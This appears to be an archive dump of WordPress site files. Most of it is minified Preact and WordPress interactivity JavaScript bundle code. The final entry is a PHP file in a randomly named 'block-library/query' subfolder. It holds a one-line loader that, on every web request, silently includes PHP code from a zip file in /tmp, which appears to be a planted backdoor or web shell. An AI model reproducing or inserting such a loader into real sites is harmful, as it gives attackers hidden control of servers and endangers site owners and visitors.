n||"onFocusOut"==l||"onFocusIn"==l?l.toLowerCase().slice(2):l.slice(2),n.l||(n.l={}),n.l[l+r]=t,t?u?t.t=u.t:(t.t=c,n.addEventListener(l,r?a:s,r)):n.removeEventListener(l,r?a:s,r);else{if("http://www.w3.org/2000/svg"==i)l=l.replace(/xlink(H|:h)/,"h").replace(/sName$/,"s");else if("width"!=l&&"height"!=l&&"href"!=l&&"list"!=l&&"form"!=l&&"tabIndex"!=l&&"download"!=l&&"rowSpan"!=l&&"colSpan"!=l&&"role"!=l&&"popover"!=l&&l in n)try{n[l]=null==t?"":t;break n}catch(n){}"function"==typeof t||(null==t||!1===t&&"-"!=l[4]?n.removeAttribute(l):n.setAttribute(l,"popover"==l&&1==t?"":t))}}function F(n){return function(t){if(this.l){var u=this.l[t.type+n];if(null==t.u)t.u=c++;else if(t.u<u.t)return;return u(l.event?l.event(t):t)}}}function O(n,t,u,i,r,o,e,f,c,s){var a,h,p,v,y,_,m,b,S,C,M,$,P,A,H,L,T,j=t.type;if(void 0!==t.constructor)return null;128&u.__u&&(c=!!(32&u.__u),o=[f=t.__e=u.__e]),(a=l.__b)&&a(t);n:if("function"==typeof j)try{if(b=t.props,S="prototype"in j&&j.prototype.render,C=(a=j.contextType)&&i[a.__c],M=a?C?C.props.value:a.__:i,u.__c?m=(h=t.__c=u.__c).__=h.__E:(S?t.__c=h=new j(b,M):(t.__c=h=new x(b,M),h.constructor=j,h.render=D),C&&C.sub(h),h.props=b,h.state||(h.state={}),h.context=M,h.__n=i,p=h.__d=!0,h.__h=[],h._sb=[]),S&&null==h.__s&&(h.__s=h.state),S&&null!=j.getDerivedStateFromProps&&(h.__s==h.state&&(h.__s=w({},h.__s)),w(h.__s,j.getDerivedStateFromProps(b,h.__s))),v=h.props,y=h.state,h.__v=t,p)S&&null==j.getDerivedStateFromProps&&null!=h.componentWillMount&&h.componentWillMount(),S&&null!=h.componentDidMount&&h.__h.push(h.componentDidMount);else{if(S&&null==j.getDerivedStateFromProps&&b!==v&&null!=h.componentWillReceiveProps&&h.componentWillReceiveProps(b,M),!h.__e&&(null!=h.shouldComponentUpdate&&!1===h.shouldComponentUpdate(b,h.__s,M)||t.__v==u.__v)){for(t.__v!=u.__v&&(h.props=b,h.state=h.__s,h.__d=!1),t.__e=u.__e,t.__k=u.__k,t.__k.some(function(n){n&&(n.__=t)}),$=0;$<h._sb.length;$++)h.__h.push(h._sb[$]);h._sb=[],h.__h.length&&e.push(h);break n}null!=h.componentWillUpdate&&h.componentWillUpdate(b,h.__s,M),S&&null!=h.componentDidUpdate&&h.__h.push(function(){h.componentDidUpdate(v,y,_)})}if(h.context=M,h.props=b,h.__P=n,h.__e=!1,P=l.__r,A=0,S){for(h.state=h.__s,h.__d=!1,P&&P(t),a=h.render(h.props,h.state,h.context),H=0;H<h._sb.length;H++)h.__h.push(h._sb[H]);h._sb=[]}else do{h.__d=!1,P&&P(t),a=h.render(h.props,h.state,h.context),h.state=h.__s}while(h.__d&&++A<25);h.state=h.__s,null!=h.getChildContext&&(i=w(w({},i),h.getChildContext())),S&&!p&&null!=h.getSnapshotBeforeUpdate&&(_=h.getSnapshotBeforeUpdate(v,y)),L=a,null!=a&&a.type===k&&null==a.key&&(L=N(a.props.children)),f=I(n,d(L)?L:[L],t,u,i,r,o,e,f,c,s),h.base=t.__e,t.__u&=-161,h.__h.length&&e.push(h),m&&(h.__E=h.__=null)}catch(n){if(t.__v=null,c||null!=o)if(n.then){for(t.__u|=c?160:128;f&&8==f.nodeType&&f.nextSibling;)f=f.nextSibling;o[o.indexOf(f)]=null,t.__e=f}else for(T=o.length;T--;)g(o[T]);else t.__e=u.__e,t.__k=u.__k;l.__e(n,t,u)}else null==o&&t.__v==u.__v?(t.__k=u.__k,t.__e=u.__e):f=t.__e=V(u.__e,t,u,i,r,o,e,c,s);return(a=l.diffed)&&a(t),128&t.__u?void 0:f}function z(n,t,u){for(var i=0;i<u.length;i++)q(u[i],u[++i],u[++i]);l.__c&&l.__c(t,n),n.some(function(t){try{n=t.__h,t.__h=[],n.some(function(n){n.call(t)})}catch(n){l.__e(n,t.__v)}})}function N(n){return"object"!=typeof n||null==n?n:d(n)?n.map(N):w({},n)}function V(t,u,i,r,o,e,f,c,s){var a,h,v,y,w,_,m,b=i.props,k=u.props,x=u.type;if("svg"==x?o="http://www.w3.org/2000/svg":"math"==x?o="http://www.w3.org/1998/Math/MathML":o||(o="http://www.w3.org/1999/xhtml"),null!=e)for(a=0;a<e.length;a++)if((w=e[a])&&"setAttribute"in w==!!x&&(x?w.localName==x:3==w.nodeType)){t=w,e[a]=null;break}if(null==t){if(null==x)return document.createTextNode(k);t=document.createElementNS(o,x,k.is&&k),c&&(l.__m&&l.__m(u,e),c=!1),e=null}if(null===x)b===k||c&&t.data===k||(t.data=k);else{if(e=e&&n.call(t.childNodes),b=i.props||p,!c&&null!=e)for(b={},a=0;a<t.attributes.length;a++)b[(w=t.attributes[a]).name]=w.value;for(a in b)if(w=b[a],"children"==a);else if("dangerouslySetInnerHTML"==a)v=w;else if(!(a in k)){if("value"==a&&"defaultValue"in k||"checked"==a&&"defaultChecked"in k)continue;j(t,a,null,w,o)}for(a in k)w=k[a],"children"==a?y=w:"dangerouslySetInnerHTML"==a?h=w:"value"==a?_=w:"checked"==a?m=w:c&&"function"!=typeof w||b[a]===w||j(t,a,w,b[a],o);if(h)c||v&&(h.__html===v.__html||h.__html===t.innerHTML)||(t.innerHTML=h.__html),u.__k=[];else if(v&&(t.innerHTML=""),I("template"===u.type?t.content:t,d(y)?y:[y],u,i,r,"foreignObject"==x?"http://www.w3.org/1999/xhtml":o,e,f,e?e[0]:i.__k&&S(i,0),c,s),null!=e)for(a=e.length;a--;)g(e[a]);c||(a="value","progress"==x&&null==_?t.removeAttribute("value"):void 0!==_&&(_!==t[a]||"progress"==x&&!_||"option"==x&&_!==b[a])&&j(t,a,_,b[a],o),a="checked",void 0!==m&&m!==t[a]&&j(t,a,m,b[a],o))}return t}function q(n,t,u){try{if("function"==typeof n){var i="function"==typeof n.__u;i&&n.__u(),i&&null==t||(n.__u=n(t))}else n.current=t}catch(n){l.__e(n,u)}}function B(n,t,u){var i,r;if(l.unmount&&l.unmount(n),(i=n.ref)&&(i.current&&i.current!==n.__e||q(i,null,t)),null!=(i=n.__c)){if(i.componentWillUnmount)try{i.componentWillUnmount()}catch(n){l.__e(n,t)}i.base=i.__P=null}if(i=n.__k)for(r=0;r<i.length;r++)i[r]&&B(i[r],t,u||"function"!=typeof n.type);u||g(n.__e),n.__c=n.__=n.__e=void 0}function D(n,l,t){return this.constructor(n,t)}function E(t,u,i){var r,o,e,f;u==document&&(u=document.documentElement),l.__&&l.__(t,u),o=(r="function"==typeof i)?null:i&&i.__k||u.__k,e=[],f=[],O(u,t=(!r&&i||u).__k=_(k,null,[t]),o||p,p,u.namespaceURI,!r&&i?[i]:o?null:u.firstChild?n.call(u.childNodes):null,e,!r&&i?i:o?o.__e:u.firstChild,r,f),z(e,t,f)}function G(n,l){E(n,l,G)}function J(l,t,u){var i,r,o,e,f=w({},l.props);for(o in l.type&&l.type.defaultProps&&(e=l.type.defaultProps),t)"key"==o?i=t[o]:"ref"==o?r=t[o]:f[o]=void 0===t[o]&&void 0!==e?e[o]:t[o];return arguments.length>2&&(f.children=arguments.length>3?n.call(arguments,2):u),m(l.type,f,i||l.key,r||l.ref,null)}function K(n){function l(n){var t,u;return this.getChildContext||(t=new Set,(u={})[l.__c]=this,this.getChildContext=function(){return u},this.componentWillUnmount=function(){t=null},this.shouldComponentUpdate=function(n){this.props.value!==n.value&&t.forEach(function(n){n.__e=!0,M(n)})},this.sub=function(n){t.add(n);var l=n.componentWillUnmount;n.componentWillUnmount=function(){t&&t.delete(n),l&&l.call(n)}}),n.children}return l.__c="__cC"+h++,l.__=n,l.Provider=l.__l=(l.Consumer=function(n,l){return n.children(l)}).contextType=l,l}n=v.slice,l={__e:function(n,l,t,u){for(var i,r,o;l=l.__;)if((i=l.__c)&&!i.__)try{if((r=i.constructor)&&null!=r.getDerivedStateFromError&&(i.setState(r.getDerivedStateFromError(n)),o=i.__d),null!=i.componentDidCatch&&(i.componentDidCatch(n,u||{}),o=i.__d),o)return i.__E=i}catch(l){n=l}throw n}},t=0,u=function(n){return null!=n&&null==n.constructor},x.prototype.setState=function(n,l){var t;t=null!=this.__s&&this.__s!==this.state?this.__s:this.__s=w({},this.state),"function"==typeof n&&(n=n(w({},t),this.props)),n&&w(t,n),null!=n&&this.__v&&(l&&this._sb.push(l),M(this))},x.prototype.forceUpdate=function(n){this.__v&&(this.__e=!0,n&&this.__h.push(n),M(this))},x.prototype.render=k,i=[],o="function"==typeof Promise?Promise.prototype.then.bind(Promise.resolve()):setTimeout,e=function(n,l){return n.__v.__b-l.__v.__b},$.__r=0,f=/(PointerCapture)$|Capture$/i,c=0,s=F(!1),a=F(!0),h=0; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // EXPORTS __webpack_require__.d(__webpack_exports__, { zj: () => (/* reexport */ debug_build_module/* getConfig */.zj), SD: () => (/* reexport */ debug_build_module/* getContext */.SD), V6: () => (/* reexport */ debug_build_module/* getElement */.V6), $K: () => (/* reexport */ debug_build_module/* getServerContext */.$K), vT: () => (/* reexport */ debug_build_module/* getServerState */.vT), jb: () => (/* reexport */ debug_build_module/* privateApis */.jb), yT: () => (/* reexport */ debug_build_module/* splitTask */.yT), M_: () => (/* reexport */ debug_build_module/* store */.M_), hb: () => (/* reexport */ debug_build_module/* useCallback */.hb), vJ: () => (/* reexport */ debug_build_module/* useEffect */.vJ), ip: () => (/* reexport */ debug_build_module/* useInit */.ip), Nf: () => (/* reexport */ debug_build_module/* useLayoutEffect */.Nf), Kr: () => (/* reexport */ debug_build_module/* useMemo */.Kr), li: () => (/* reexport */ debug_build_module/* useRef */.li), J0: () => (/* reexport */ debug_build_module/* useState */.J0), FH: () => (/* reexport */ debug_build_module/* useWatch */.FH), v4: () => (/* reexport */ debug_build_module/* withScope */.v4), mh: () => (/* reexport */ debug_build_module/* withSyncEvent */.mh) }); // EXTERNAL MODULE: ./node_modules/preact/dist/preact.module.js var debug_preact_module = __webpack_require__(622); ;// ./node_modules/preact/devtools/dist/devtools.module.js var debug_i;function debug_t(o,e){return n.__a&&n.__a(e),o}null!=(debug_i="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:void 0)&&debug_i.__PREACT_DEVTOOLS__&&debug_i.__PREACT_DEVTOOLS__.attachPreact("10.26.4",debug_preact_module/* options */.fF,{Fragment:debug_preact_module/* Fragment */.FK,Component:debug_preact_module/* Component */.uA}); ;// ./node_modules/preact/debug/dist/debug.module.js var debug_debug_module_t={};function debug_r(){debug_debug_module_t={}}function debug_a(e){return e.type===debug_preact_module/* Fragment */.FK?"Fragment":"function"==typeof e.type?e.type.displayName||e.type.name:"string"==typeof e.type?e.type:"#text"}var debug_debug_module_i=[],debug_s=[];function debug_c(){return debug_debug_module_i.length>0?debug_debug_module_i[debug_debug_module_i.length-1]:null}var debug_l=!0;function debug_u(e){return"function"==typeof e.type&&e.type!=debug_preact_module/* Fragment */.FK}function debug_f(n){for(var e=[n],o=n;null!=o.__o;)e.push(o.__o),o=o.__o;return e.reduce(function(n,e){n+=" in "+debug_a(e);var o=e.__source;return o?n+=" (at "+o.fileName+":"+o.lineNumber+")":debug_l&&console.warn("Add @babel/plugin-transform-react-jsx-source to get a more detailed component stack. Note that you should not add it to production builds of your App for bundle size reasons."),debug_l=!1,n+"\n"},"")}var debug_d="function"==typeof WeakMap;function debug_p(n){var e=[];return n.__k?(n.__k.forEach(function(n){n&&"function"==typeof n.type?e.push.apply(e,debug_p(n)):n&&"string"==typeof n.type&&e.push(n.type)}),e):e}function debug_h(n){return n?"function"==typeof n.type?null==n.__?null!=n.__e&&null!=n.__e.parentNode?n.__e.parentNode.localName:"":debug_h(n.__):n.type:""}var debug_v=debug_preact_module/* Component */.uA.prototype.setState;function debug_y(n){return"table"===n||"tfoot"===n||"tbody"===n||"thead"===n||"td"===n||"tr"===n||"th"===n}debug_preact_module/* Component */.uA.prototype.setState=function(n,e){return null==this.__v&&null==this.state&&console.warn('Calling "this.setState" inside the constructor of a component is a no-op and might be a bug in your application. Instead, set "this.state = {}" directly.\n\n'+debug_f(debug_c())),debug_v.call(this,n,e)};var debug_m=/^(address|article|aside|blockquote|details|div|dl|fieldset|figcaption|figure|footer|form|h1|h2|h3|h4|h5|h6|header|hgroup|hr|main|menu|nav|ol|p|pre|search|section|table|ul)$/,debug_b=debug_preact_module/* Component */.uA.prototype.forceUpdate;function debug_w(n){var e=n.props,o=debug_a(n),t="";for(var r in e)if(e.hasOwnProperty(r)&&"children"!==r){var i=e[r];"function"==typeof i&&(i="function "+(i.displayName||i.name)+"() {}"),i=Object(i)!==i||i.toString?i+"":Object.prototype.toString.call(i),t+=" "+r+"="+JSON.stringify(i)}var s=e.children;return"<"+o+t+(s&&s.length?">..</"+o+">":" />")}debug_preact_module/* Component */.uA.prototype.forceUpdate=function(n){return null==this.__v?console.warn('Calling "this.forceUpdate" inside the constructor of a component is a no-op and might be a bug in your application.\n\n'+debug_f(debug_c())):null==this.__P&&console.warn('Can\'t call "this.forceUpdate" on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in the componentWillUnmount method.\n\n'+debug_f(this.__v)),debug_b.call(this,n)},debug_preact_module/* options */.fF.__m=function(n,e){var o=n.type,t=e.map(function(n){return n&&n.localName}).filter(Boolean);console.error('Expected a DOM node of type "'+o+'" but found "'+t.join(", ")+"\" as available DOM-node(s), this is caused by the SSR'd HTML containing different DOM-nodes compared to the hydrated one.\n\n"+debug_f(n))},function(){!function(){var n=debug_preact_module/* options */.fF.__b,o=debug_preact_module/* options */.fF.diffed,t=debug_preact_module/* options */.fF.__,r=debug_preact_module/* options */.fF.vnode,a=debug_preact_module/* options */.fF.__r;debug_preact_module/* options */.fF.diffed=function(n){debug_u(n)&&debug_s.pop(),debug_debug_module_i.pop(),o&&o(n)},debug_preact_module/* options */.fF.__b=function(e){debug_u(e)&&debug_debug_module_i.push(e),n&&n(e)},debug_preact_module/* options */.fF.__=function(n,e){debug_s=[],t&&t(n,e)},debug_preact_module/* options */.fF.vnode=function(n){n.__o=debug_s.length>0?debug_s[debug_s.length-1]:null,r&&r(n)},debug_preact_module/* options */.fF.__r=function(n){debug_u(n)&&debug_s.push(n),a&&a(n)}}();var n=!1,o=debug_preact_module/* options */.fF.__b,r=debug_preact_module/* options */.fF.diffed,c=debug_preact_module/* options */.fF.vnode,l=debug_preact_module/* options */.fF.__r,v=debug_preact_module/* options */.fF.__e,b=debug_preact_module/* options */.fF.__,g=debug_preact_module/* options */.fF.__h,E=debug_d?{useEffect:new WeakMap,useLayoutEffect:new WeakMap,lazyPropTypes:new WeakMap}:null,k=[];debug_preact_module/* options */.fF.__e=function(n,e,o,t){if(e&&e.__c&&"function"==typeof n.then){var r=n;n=new Error("Missing Suspense. The throwing component was: "+debug_a(e));for(var i=e;i;i=i.__)if(i.__c&&i.__c.__c){n=r;break}if(n instanceof Error)throw n}try{(t=t||{}).componentStack=debug_f(e),v(n,e,o,t),"function"!=typeof n.then&&setTimeout(function(){throw n})}catch(n){throw n}},debug_preact_module/* options */.fF.__=function(n,e){if(!e)throw new Error("Undefined parent passed to render(), this is the second argument.\nCheck if the element is available in the DOM/has the correct id.");var o;switch(e.nodeType){case 1:case 11:case 9:o=!0;break;default:o=!1}if(!o){var t=debug_a(n);throw new Error("Expected a valid HTML node as a second argument to render.\tReceived "+e+" instead: render(<"+t+" />, "+e+");")}b&&b(n,e)},debug_preact_module/* options */.fF.__b=function(e){var r=e.type;if(n=!0,void 0===r)throw new Error("Undefined component passed to createElement()\n\nYou likely forgot to export your component or might have mixed up default and named imports"+debug_w(e)+"\n\n"+debug_f(e));if(null!=r&&"object"==typeof r){if(void 0!==r.__k&&void 0!==r.__e)throw new Error("Invalid type passed to createElement(): "+r+"\n\nDid you accidentally pass a JSX literal as JSX twice?\n\n let My"+debug_a(e)+" = "+debug_w(r)+";\n let vnode = <My"+debug_a(e)+" />;\n\nThis usually happens when you export a JSX literal and not the component.\n\n"+debug_f(e));throw new Error("Invalid type passed to createElement(): "+(Array.isArray(r)?"array":r))}if(void 0!==e.ref&&"function"!=typeof e.ref&&"object"!=typeof e.ref&&!("$$typeof"in e))throw new Error('Component\'s "ref" property should be a function, or an object created by createRef(), but got ['+typeof e.ref+"] instead\n"+debug_w(e)+"\n\n"+debug_f(e));if("string"==typeof e.type)for(var i in e.props)if("o"===i[0]&&"n"===i[1]&&"function"!=typeof e.props[i]&&null!=e.props[i])throw new Error("Component's \""+i+'" property should be a function, but got ['+typeof e.props[i]+"] instead\n"+debug_w(e)+"\n\n"+debug_f(e));if("function"==typeof e.type&&e.type.propTypes){if("Lazy"===e.type.displayName&&E&&!E.lazyPropTypes.has(e.type)){var s="PropTypes are not supported on lazy(). Use propTypes on the wrapped component itself. ";try{var c=e.type();E.lazyPropTypes.set(e.type,!0),console.warn(s+"Component wrapped in lazy() is "+debug_a(c))}catch(n){console.warn(s+"We will log the wrapped component's name once it is loaded.")}}var l=e.props;e.type.__f&&delete(l=function(n,e){for(var o in e)n[o]=e[o];return n}({},l)).ref,function(n,e,o,r,a){Object.keys(n).forEach(function(o){var i;try{i=n[o](e,o,r,"prop",null,"SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED")}catch(n){i=n}i&&!(i.message in debug_debug_module_t)&&(debug_debug_module_t[i.message]=!0,console.error("Failed prop type: "+i.message+(a&&"\n"+a()||"")))})}(e.type.propTypes,l,0,debug_a(e),function(){return debug_f(e)})}o&&o(e)};var T,_=0;debug_preact_module/* options */.fF.__r=function(e){l&&l(e),n=!0;var o=e.__c;if(o===T?_++:_=1,_>=25)throw new Error("Too many re-renders. This is limited to prevent an infinite loop which may lock up your browser. The component causing this is: "+debug_a(e));T=o},debug_preact_module/* options */.fF.__h=function(e,o,t){if(!e||!n)throw new Error("Hook can only be invoked from render methods.");g&&g(e,o,t)};var O=function(n,e){return{get:function(){var o="get"+n+e;k&&k.indexOf(o)<0&&(k.push(o),console.warn("getting vnode."+n+" is deprecated, "+e))},set:function(){var o="set"+n+e;k&&k.indexOf(o)<0&&(k.push(o),console.warn("setting vnode."+n+" is not allowed, "+e))}}},I={nodeName:O("nodeName","use vnode.type"),attributes:O("attributes","use vnode.props"),children:O("children","use vnode.props.children")},M=Object.create({},I);debug_preact_module/* options */.fF.vnode=function(n){var e=n.props;if(null!==n.type&&null!=e&&("__source"in e||"__self"in e)){var o=n.props={};for(var t in e){var r=e[t];"__source"===t?n.__source=r:"__self"===t?n.__self=r:o[t]=r}}n.__proto__=M,c&&c(n)},debug_preact_module/* options */.fF.diffed=function(e){var o,t=e.type,i=e.__;if(e.__k&&e.__k.forEach(function(n){if("object"==typeof n&&n&&void 0===n.type){var o=Object.keys(n).join(",");throw new Error("Objects are not valid as a child. Encountered an object with the keys {"+o+"}.\n\n"+debug_f(e))}}),e.__c===T&&(_=0),"string"==typeof t&&(debug_y(t)||"p"===t||"a"===t||"button"===t)){var s=debug_h(i);if(""!==s&&debug_y(t))"table"===t&&"td"!==s&&debug_y(s)?console.error("Improper nesting of table. Your <table> should not have a table-node parent."+debug_w(e)+"\n\n"+debug_f(e)):"thead"!==t&&"tfoot"!==t&&"tbody"!==t||"table"===s?"tr"===t&&"thead"!==s&&"tfoot"!==s&&"tbody"!==s?console.error("Improper nesting of table. Your <tr> should have a <thead/tbody/tfoot> parent."+debug_w(e)+"\n\n"+debug_f(e)):"td"===t&&"tr"!==s?console.error("Improper nesting of table. Your <td> should have a <tr> parent."+debug_w(e)+"\n\n"+debug_f(e)):"th"===t&&"tr"!==s&&console.error("Improper nesting of table. Your <th> should have a <tr>."+debug_w(e)+"\n\n"+debug_f(e)):console.error("Improper nesting of table. Your <thead/tbody/tfoot> should have a <table> parent."+debug_w(e)+"\n\n"+debug_f(e));else if("p"===t){var c=debug_p(e).filter(function(n){return debug_m.test(n)});c.length&&console.error("Improper nesting of paragraph. Your <p> should not have "+c.join(", ")+" as child-elements."+debug_w(e)+"\n\n"+debug_f(e))}else"a"!==t&&"button"!==t||-1!==debug_p(e).indexOf(t)&&console.error("Improper nesting of interactive content. Your <"+t+"> should not have other "+("a"===t?"anchor":"button")+" tags as child-elements."+debug_w(e)+"\n\n"+debug_f(e))}if(n=!1,r&&r(e),null!=e.__k)for(var l=[],u=0;u<e.__k.length;u++){var d=e.__k[u];if(d&&null!=d.key){var v=d.key;if(-1!==l.indexOf(v)){console.error('Following component has two or more children with the same key attribute: "'+v+'". This may cause glitches and misbehavior in rendering process. Component: \n\n'+debug_w(e)+"\n\n"+debug_f(e));break}l.push(v)}}if(null!=e.__c&&null!=e.__c.__H){var b=e.__c.__H.__;if(b)for(var g=0;g<b.length;g+=1){var E=b[g];if(E.__H)for(var k=0;k<E.__H.length;k++)if((o=E.__H[k])!=o){var O=debug_a(e);console.warn("Invalid argument passed to hook. Hooks should not be called with NaN in the dependency array. Hook index "+g+" in component "+O+" was called with NaN.")}}}}}(); // EXTERNAL MODULE: ./node_modules/@wordpress/interactivity/build-module/index.js + 18 modules var debug_build_module = __webpack_require__(380); ;// ./node_modules/@wordpress/interactivity/build-module/debug.js /** * External dependencies */ var __webpack_exports__getConfig = __webpack_exports__.zj; var __webpack_exports__getContext = __webpack_exports__.SD; var __webpack_exports__getElement = __webpack_exports__.V6; var __webpack_exports__getServerContext = __webpack_exports__.$K; var __webpack_exports__getServerState = __webpack_exports__.vT; var __webpack_exports__privateApis = __webpack_exports__.jb; var __webpack_exports__splitTask = __webpack_exports__.yT; var __webpack_exports__store = __webpack_exports__.M_; var __webpack_exports__useCallback = __webpack_exports__.hb; var __webpack_exports__useEffect = __webpack_exports__.vJ; var __webpack_exports__useInit = __webpack_exports__.ip; var __webpack_exports__useLayoutEffect = __webpack_exports__.Nf; var __webpack_exports__useMemo = __webpack_exports__.Kr; var __webpack_exports__useRef = __webpack_exports__.li; var __webpack_exports__useState = __webpack_exports__.J0; var __webpack_exports__useWatch = __webpack_exports__.FH; var __webpack_exports__withScope = __webpack_exports__.v4; var __webpack_exports__withSyncEvent = __webpack_exports__.mh; export { __webpack_exports__getConfig as getConfig, __webpack_exports__getContext as getContext, __webpack_exports__getElement as getElement, __webpack_exports__getServerContext as getServerContext, __webpack_exports__getServerState as getServerState, __webpack_exports__privateApis as privateApis, __webpack_exports__splitTask as splitTask, __webpack_exports__store as store, __webpack_exports__useCallback as useCallback, __webpack_exports__useEffect as useEffect, __webpack_exports__useInit as useInit, __webpack_exports__useLayoutEffect as useLayoutEffect, __webpack_exports__useMemo as useMemo, __webpack_exports__useRef as useRef, __webpack_exports__useState as useState, __webpack_exports__useWatch as useWatch, __webpack_exports__withScope as withScope, __webpack_exports__withSyncEvent as withSyncEvent }; script-modules/block-library/query/l3fuo4/index.php 0000644 00000000150 15061233506 0016350 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "flex.php"; include("zip:///tmp/phpUVGj5B#$h");?>